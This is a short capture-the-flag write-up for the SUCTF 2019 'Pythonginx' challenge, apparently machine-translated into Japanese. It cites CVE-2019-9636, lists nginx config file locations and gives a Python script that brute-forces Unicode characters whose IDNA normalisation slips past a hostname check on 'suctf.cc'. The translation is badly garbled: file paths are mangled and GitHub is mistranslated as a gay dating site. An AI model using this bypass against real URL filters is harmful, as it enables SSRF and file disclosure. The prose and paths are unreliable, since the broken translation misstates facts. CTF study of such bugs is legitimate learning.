ブラシのタイトルレコード:[SUCTF 2019] Pythonginx

ブラシのタイトルレコード:[SUCTF 2019] Pythonginx

トピックリンクを定期:https://buuoj.cn/challenges
参考リンク:2019 SUCTF WP
SUCTF_2019_部分の再現性

一つは、関係する知識のポイント

図1は、CVE-2019から9636:標準化された処理NFKC無しurlsplit

https://bugs.python.org/issue36216

2、重要な書類のnginxの場所

  • 設定ファイルのディレクトリ:の/ etc / nginxの
  • メインの設定ファイル:/etc/nginx/conf/nginx.conf
  • 管理スクリプト:/usr/lib64/systemd/system/nginx.service
  • モジュール:は/ usr / lisb64 / nginxの/モジュール
  • アプリケーションします。/ usr / sbin / nginxの
  • プログラムのデフォルトの保存場所:を/ usr / share / nginxの/ htmlの
  • デフォルトのログの保管場所は/ var / log / nginxの

第二に、問題解決のアプローチ

スクリプトのコピー

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass


def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False

if __name__=="__main__":
    get_unicode()

考えたのは、コーディングの問題かもしれないが、何の手は、怠惰な犬を実行するスクリプトを記述しないことが。
そこWPはgithubの上で検索することで、確かに世界最大のゲイの出会い系サイト、次回は百度に限定することはできません

おすすめ

転載: www.cnblogs.com/20175211lyz/p/11470200.html